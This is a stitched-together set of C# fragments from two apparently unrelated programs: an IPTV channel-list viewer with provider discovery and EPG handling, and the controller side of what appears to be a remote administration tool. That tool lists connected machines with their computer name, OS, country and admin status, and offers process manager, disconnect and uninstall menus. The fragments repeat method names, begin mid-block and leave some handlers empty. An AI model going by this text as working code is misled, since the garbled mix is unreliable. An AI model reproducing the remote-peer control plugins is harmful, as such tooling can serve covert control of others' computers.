} // Run private bool Init() { // load configuration var result = AppUiConfiguration.Load(null, Console.WriteLine); if (result.IsError) { Console.WriteLine(result.Message); return(false); } // if // get channels Console.WriteLine("Loading broadcast services"); var providers = AppUiConfiguration.Current.Cache.LoadXml <ProviderDiscoveryRoot>("ProviderDiscovery", AppUiConfiguration.Current.ContentProvider.Bootstrap.MulticastAddress); ServiceProvider = UiProviderDiscovery.GetUiServiceProviderFromKey(providers, "dem_19.imagenio.es"); var downloader = new UiBroadcastDiscoveryDownloader(); BroadcastDiscovery = downloader.Download(null, ServiceProvider, null, true); ParentalGuidanceCodes = new Dictionary <string, string>(); EpgServices = new Dictionary <string, EpgService>(); return(true); } // Init
public void Initialize() { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var tsItm = new ToolStripMenuItem("Process manager"); tsItm.Click += tsItm_Click; connectionList.AddContextMenuItem(tsItm); }
void tsItm_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; connectionList.GetSelectedItems().ForEach(itm => { itm.AssociatedChannel.Send(new ConnectionPingPacket(), itm.AssociatedPeer.Identity.Guid); }); }
public void OnPeerDisconnected(ChannelEventArgs e) { _connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; if (_connectionList != null) { var item = _connectionList.FindItem(itm => itm != null && Equals(itm.AssociatedPeer.Identity, e.Peer.Identity)); _connectionList.RemoveItem(item); } }
void tsItmDisconnect_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var selectedItems = connectionList.GetSelectedItems(); selectedItems.ForEach( itm => itm.AssociatedChannel.Send(new ConnectionManagementPacket(ConnectionAction.Disconnect), itm.AssociatedPeer.Identity.Guid)); }
void tsItm_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; connectionList.GetSelectedItems().ForEach(itm => { var op = itm.AssociatedChannel.CreateOperation <ProcessManagerOperation>(itm.AssociatedPeer.Identity.Guid); new ProcessManagerForm(itm.SubItems[0].Text, op).Show(); }); }
public void Initialize() { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var tsItm = new ToolStripMenuItem("System information"); tsItm.Click += tsItm_Click; if (connectionList != null) { connectionList.AddContextMenuItem(tsItm); } }
public void OnPacketReceived(ServerPacketEventArgs e) { if (e.Packet is ConnectionPingPacket) { var diff = (DateTime.Now - DateTime.FromBinary((e.Packet as ConnectionPingPacket).Timestamp)).Milliseconds; var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; connectionList.FindItem(itm => itm.AssociatedPeer.Identity.Equals(e.Peer.Identity)).SubItems[5].Text = diff + "ms"; } }
void tsItm_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; foreach (var itm in connectionList.GetSelectedItems()) { var op = itm.AssociatedChannel.CreateOperation <ExtendedInformationOperation>(itm.AssociatedPeer.Identity.Guid); var extInfoFrm = new ExtendedInformationForm(op); extInfoFrm.Show(); } }
} // LoadServiceProviderList private void SelectedIndexChanged() { if (listViewServiceProviders.SelectedItems.Count > 0) { SelectedServiceProvider = listViewServiceProviders.SelectedItems[0].Tag as UiServiceProvider; } else { SelectedServiceProvider = null; } // if-else buttonProviderDetails.Enabled = (SelectedServiceProvider != null); buttonOk.Enabled = (SelectedServiceProvider != null); } // SelectedIndexChanged
} // Implementation_menuItemProviderDetails_Click private void SelectProvider() { using (var dialog = new SelectProviderDialog()) { dialog.SelectedServiceProvider = SelectedServiceProvider; var result = dialog.ShowDialog(this); BasicGoogleTelemetry.SendScreenHit(this); if (result != DialogResult.OK) { return; } SelectedServiceProvider = dialog.SelectedServiceProvider; ServiceProviderChanged(); } // dialog } // SelectProvider
public void Initialize() { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var tsItmMain = new ToolStripMenuItem("Manage Connection"); var tsItmDisconnect = new ToolStripMenuItem("Disconnect"); var tsItmReconnect = new ToolStripMenuItem("Reconnect"); var tsItmUninstall = new ToolStripMenuItem("Uninstall"); tsItmDisconnect.Click += tsItmDisconnect_Click; tsItmReconnect.Click += tsItmReconnect_Click; tsItmUninstall.Click += tsItmUninstall_Click; tsItmMain.DropDownItems.Add(tsItmDisconnect); tsItmMain.DropDownItems.Add(tsItmReconnect); tsItmMain.DropDownItems.Add(tsItmUninstall); connectionList.AddContextMenuItem(tsItmMain); }
} // ChannelListForm_FormClosing #endregion #region Form event handlers implementation private void ChannelListForm_Load_Implementation(object sender, EventArgs e) { BasicGoogleTelemetry.SendScreenHit(this, "Load"); this.Text = Properties.Texts.AppCaption; // disable functionality menuItemDvbRecent.Enabled = enable_menuItemDvbRecent; menuItemDvbPackages.Enabled = enable_menuItemDvbPackages; menuItemDvbExport.Enabled = enable_menuItemDvbExport; var settings = UiBroadcastListSettingsRegistration.Settings; ListManager = new UiBroadcastListManager(listViewChannelList, settings, imageListChannels, imageListChannelsLarge, true); ListManager.SelectionChanged += ListManager_SelectionChanged; ListManager.StatusChanged += ListManager_StatusChanged; SetupContextMenuList(); // Empty notifications Notify(null, null, -1); // set-up EPG functionality EpgDatastore = new EpgMemoryDatastore(); enable_Epg = AppUiConfiguration.Current.User.Epg.Enabled; epgMiniGuide.IsDisabled = !enable_Epg; if (epgMiniGuide.IsDisabled) { foreach (ToolStripItem item in menuItemEpg.DropDownItems) { item.Enabled = false; } // foreach } // if // load from cache, if available SelectedServiceProvider = SelectProviderDialog.GetLastUserSelectedProvider(Properties.Settings.Default.LastSelectedServiceProvider); ServiceProviderChanged(); // notify Splash Screeen the form has finished loading and is about to be shown FormLoadCompleted?.Invoke(this, e); } // ChannelListForm_Load_Implementation
void OperationPacketReceived(object sender, uNet2.Packet.Events.OperationPacketEventArgs e) { if (e.Packet is SystemInformationPacket) { var packet = e.Packet as SystemInformationPacket; var peer = (e.Channel as TcpServerChannel).ConnectedPeers.FirstOrDefault( p => p.Identity.Guid == e.Operation.ConnectionGuid); _connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var lvItm = new ConnectionListItem(peer, e.Channel as TcpServerChannel); lvItm.Text = peer.Endpoint.ToString(); lvItm.SubItems.Add(packet.ComputerName); lvItm.SubItems.Add(packet.OperatingSystem); lvItm.SubItems.Add(packet.CountryCode); lvItm.SubItems.Add(packet.IsAdmin); lvItm.SubItems.Add(Math.Truncate(peer.PingDelay) + " ms"); _connectionList.AddItem(lvItm); } e.Operation.CloseOperation(); }
} // LoadDisplayProgress private bool SelectProvider(bool useSelected = true) { if ((SelectedServiceProvider != null) && (useSelected)) { return(true); } using (var dialog = new SelectProviderDialog()) { dialog.SelectedServiceProvider = SelectedServiceProvider; var result = dialog.ShowDialog(this); if (result != DialogResult.OK) { return(false); } SelectedServiceProvider = dialog.SelectedServiceProvider; labelServiceProvider.Text = SelectedServiceProvider.DisplayName; } // using dialog return(true); } // SelectProvider
} // Init private void End() { ParentalGuidanceCodes = null; ServiceProvider = null; BroadcastDiscovery = null; } // End
void tsItmReconnect_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; }
void tsItmUninstall_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var selectedItems = connectionList.GetSelectedItems(); }